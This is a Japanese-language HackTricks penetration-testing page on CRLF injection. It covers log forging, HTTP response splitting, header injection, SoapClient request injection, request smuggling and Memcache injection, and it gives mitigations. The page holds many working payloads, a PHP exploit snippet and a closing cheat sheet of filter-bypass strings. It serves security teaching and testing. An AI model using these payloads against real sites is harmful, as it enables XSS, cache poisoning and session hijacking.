hacktricks/pentesting-web/crlf-0d-0a.md

236 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CRLF (%0D%0A) インジェクション
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント****Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
### CRLF
キャリッジリターンCRとラインフィードLFは、CRLFとして知られる特殊な文字列で、HTTPプロトコルで行の終わりや新しい行の開始を示すために使用されます。ウェブサーバーとブラウザは、HTTPヘッダーとレスポンスのボディを区別するためにCRLFを使用します。これらの文字は、ApacheやMicrosoft IISなど、さまざまなウェブサーバータイプのHTTP/1.1通信で普遍的に使用されています。
### CRLFインジェクション脆弱性
CRLFインジェクションは、ユーザー提供の入力にCRおよびLF文字を挿入することを含みます。このアクションは、サーバー、アプリケーション、またはユーザーを誤解させ、挿入されたシーケンスを1つのレスポンスの終わりと別のレスポンスの開始として解釈させます。これらの文字は本質的に有害ではありませんが、誤用されるとHTTPレスポンスの分割やその他の悪意のある活動につながる可能性があります。
### 例ログファイルにおけるCRLFインジェクション
[こちらからの例](https://www.invicti.com/blog/web-security/crlf-http-header/)
管理パネルのログファイルが`IP - 時間 - 訪問パス`という形式に従っていると仮定します。典型的なエントリは次のようになります:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
攻撃者はCRLFインジェクションを利用してこのログを操作できます。HTTPリクエストにCRLF文字を注入することで、攻撃者は出力ストリームを変更し、ログエントリを偽造できます。例えば、注入されたシーケンスはログエントリを次のように変えるかもしれません:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
ここで、`%0d` と `%0a` は CR と LF の URL エンコード形式を表します。攻撃後、ログは誤解を招く形で表示されます:
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
攻撃者は、ローカルホスト(サーバー環境内で通常信頼されるエンティティ)がアクションを実行したかのように見せかけることで、悪意のある活動を隠蔽します。サーバーは、`%0d%0a`で始まるクエリの部分を単一のパラメータとして解釈し、`restrictedaction`パラメータは別の入力として解析されます。操作されたクエリは、正当な管理コマンドを効果的に模倣します:`/index.php?page=home&restrictedaction=edit`
### HTTPレスポンス分割
#### 説明
HTTPレスポンス分割は、攻撃者がHTTPレスポンスの構造を悪用することで発生するセキュリティ脆弱性です。この構造は、特定の文字列、キャリッジリターンCRとラインフィードLFを使用してヘッダーとボディを分離します。これを合わせてCRLFと呼びます。攻撃者がレスポンスヘッダーにCRLFシーケンスを挿入することに成功すると、以降のレスポンスコンテンツを効果的に操作できます。この種の操作は、特にクロスサイトスクリプティングXSSなどの深刻なセキュリティ問題を引き起こす可能性があります。
#### HTTPレスポンス分割によるXSS
1. アプリケーションは次のようなカスタムヘッダーを設定します:`X-Custom-Header: UserInput`
2. アプリケーションは、クエリパラメータ「user\_input」から`UserInput`の値を取得します。適切な入力検証とエンコーディングが欠如しているシナリオでは、攻撃者はCRLFシーケンスと悪意のあるコンテンツを含むペイロードを作成できます。
3. 攻撃者は特別に作成された'user\_input'を持つURLを作成します`?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
* このURLでは、`%0d%0a%0d%0a`はCRLFCRLFのURLエンコード形式です。これにより、サーバーはCRLFシーケンスを挿入し、以降の部分をレスポンスボディとして扱うように仕向けます。
4. サーバーは攻撃者の入力をレスポンスヘッダーに反映させ、悪意のあるスクリプトがレスポンスボディの一部としてブラウザによって解釈される意図しないレスポンス構造を引き起こします。
#### リダイレクトにつながるHTTPレスポンス分割の例
[https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
ブラウザへ:
```
/%0d%0aLocation:%20http://myweb.com
```
サーバーは次のヘッダーで応答します:
```
Location: http://myweb.com
```
**他の例: (から** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### In URL Path
**URLパスの中**にペイロードを送信して、サーバーからの**レスポンス**を制御できます([こちら](https://hackerone.com/reports/192667)の例):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
Check more examples in:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTPヘッダーインジェクション
HTTPヘッダーインジェクションは、CRLFキャリッジリターンとラインフィードインジェクションを通じて悪用されることが多く、攻撃者がHTTPヘッダーを挿入することを可能にします。これにより、XSSクロスサイトスクリプティングフィルターやSOP同一生成元ポリシーなどのセキュリティメカニズムが損なわれ、CSRFトークンなどの機密データへの不正アクセスや、クッキーの植え付けを通じたユーザーセッションの操作につながる可能性があります。
#### HTTPヘッダーインジェクションを介したCORSの悪用
攻撃者はHTTPヘッダーを挿入してCORSクロスオリジンリソースシェアリングを有効にし、SOPによって課せられた制限を回避することができます。この侵害により、悪意のあるオリジンからのスクリプトが異なるオリジンのリソースと相互作用し、保護されたデータにアクセスする可能性があります。
#### CRLFを介したSSRFおよびHTTPリクエストインジェクション
CRLFインジェクションは、まったく新しいHTTPリクエストを作成して挿入するために利用できます。これの顕著な例は、PHPの`SoapClient`クラスの脆弱性であり、特に`user_agent`パラメータ内にあります。このパラメータを操作することで、攻撃者は追加のヘッダーやボディコンテンツを挿入したり、まったく新しいHTTPリクエストを注入したりすることができます。以下は、この悪用を示すPHPの例です:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### ヘッダーインジェクションによるリクエストスモグリング
この技術と潜在的な問題についての詳細は、[**元のソースを確認してください**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) 。
初期リクエストに応答した後に**バックエンドが接続を維持する**ことを保証するために、重要なヘッダーをインジェクトできます:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
その後、2回目のリクエストを指定できます。このシナリオは通常、[HTTP request smuggling](http-request-smuggling/)を含み、これはサーバーがインジェクション後に追加した余分なヘッダーやボディ要素がさまざまなセキュリティの脆弱性につながる技術です。
**悪用:**
1. **悪意のあるプレフィックスインジェクション**: この方法は、悪意のあるプレフィックスを指定することで次のユーザーのリクエストやウェブキャッシュを汚染することを含みます。これの例は次のとおりです:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **レスポンスキュー汚染のためのプレフィックスの作成**: このアプローチは、トレーリングジャンクと組み合わせることで完全な2回目のリクエストを形成するプレフィックスを作成することを含みます。これによりレスポンスキューの汚染が引き起こされる可能性があります。例は次のとおりです
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
### Memcacheインジェクション
Memcacheは**クリアテキストプロトコルを使用するキー-バリューストア**です。詳細は次のリンクを参照してください:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**完全な情報は**[ **元の文書**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **をお読みください**
プラットフォームが**HTTPリクエストからデータを取得し、サニタイズせずに**メモリキャッシュサーバーに**リクエスト**を行う場合、攻撃者はこの動作を悪用して**新しいメモリキャッシュコマンドを注入**することができます。
たとえば、元々発見された脆弱性では、キャッシュキーがユーザーが接続すべきIPとポートを返すために使用され、攻撃者は**メモリキャッシュコマンドを注入**して**キャッシュを汚染し、被害者の詳細**(ユーザー名とパスワードを含む)を攻撃者のサーバーに送信することができました:
<figure><img src="../.gitbook/assets/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
さらに、研究者たちは、攻撃者のIPとポートを、攻撃者が知らないユーザーのメールに送信するためにメモリキャッシュのレスポンスをデシンクすることができることも発見しました
<figure><img src="../.gitbook/assets/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
### WebアプリケーションにおけるCRLF / HTTPヘッダーインジェクションを防ぐ方法
WebアプリケーションにおけるCRLFキャリッジリターンとラインフィードまたはHTTPヘッダーインジェクションのリスクを軽減するために、以下の戦略が推奨されます
1. **レスポンスヘッダーに直接ユーザー入力を避ける**: 最も安全なアプローチは、ユーザーが提供した入力を直接レスポンスヘッダーに組み込まないことです。
2. **特殊文字をエンコードする**: 直接ユーザー入力を避けることができない場合は、CRキャリッジリターンやLFラインフィードなどの特殊文字をエンコードするための関数を使用することを確認してください。この実践により、CRLFインジェクションの可能性が防止されます。
3. **プログラミング言語を更新する**: Webアプリケーションで使用されるプログラミング言語を定期的に最新バージョンに更新します。HTTPヘッダーを設定する関数内でCRおよびLF文字の注入を本質的に許可しないバージョンを選択してください。
### CHEATSHEET
[こちらからチートシート](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 自動ツール
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## ブルートフォース検出リスト
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## 参考文献
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **ハッカーによる、ハッカーのためのプレミアム** **バグバウンティプラットフォーム** **Intigritiに** **サインアップ** **しましょう**!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}